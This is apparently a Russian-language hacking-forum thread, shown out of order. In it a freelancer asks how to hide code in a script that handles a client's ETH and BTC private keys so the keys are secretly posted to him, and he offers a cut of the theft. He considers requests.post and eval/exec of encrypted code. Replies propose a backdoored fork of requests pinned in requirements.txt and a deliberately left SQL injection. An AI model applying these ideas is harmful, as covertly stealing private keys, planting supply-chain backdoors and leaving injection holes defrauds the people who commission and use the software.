Да и знакомых наебывают/пытаются наебать, как показывает тенденция, в больше, чем 50% случаях)
Пока ты нужен людям - тебя не наебут, но опять же это временно. Есть конечно порядочные люди. Но суть в том чтобы наперед видеть сущность людей, стараться не допускать ситуаций где тебе придется положиться на кого то . Тогда и не наебут. Ведь наебывают в большинстве тех, кто допустил такую ситуацию в которой он доверился незнакомому или малознакомому человеку. Потому надо всегда думать, не доверять никому, вышел из метро - надел колпак из фольги. Это второе негласное правило безопасности.
Бля, вот в чем дело-то, оказывается. А я всё думаю, чо на меня в метро смотрят, как на дебила - я не снимая колпак езжу прост и телефон у меня в чехольчике из фольги тоже, вместе с картами(
А ты кстати прав, форкнуть requests, дописать бэкдор и вставить в requirements.txt что-то вроде:
package-one==1.9.4
git+git://github.com/xakep228/requests.git@my-branch#egg=requests
package-three==1.0.1Скрипт только обрабатывает инфу? В БД не пишет? Если пишет оставь возможность для SQL инъекции.Здравствуйте,
иногда занимаюсь фрилансом, получил заказ написать скрипт, который обработает очень вкусную инфу(приватные ключи ETH и BTC). Но т.к. заказчик мне не родственник, ни друг и из недружественной страны, я очень хотел бы, что скрипт отправил эту инфу мне. Заказчик тоже не дурак, он требует, что скрипт был только из одного файла, без каких либо внешних библиотек. В принципе мне надо как то спрятать в скрипте одну строку:
Если я пошифрую эту строку кода и пробую такие варианты, как:Python:requests.post('url', 'инфа')
то сразу создает подозрение. Может у кого есть другие идеи? Какие нибудь хитрости с юникодом? За дельный совет, и если он прокатит, обещаю 10% от выхлопа. Гарантий, конечно немогу дать, просто честное словоPython:eval('пошифрованный код') или exec('пошифрованный код')
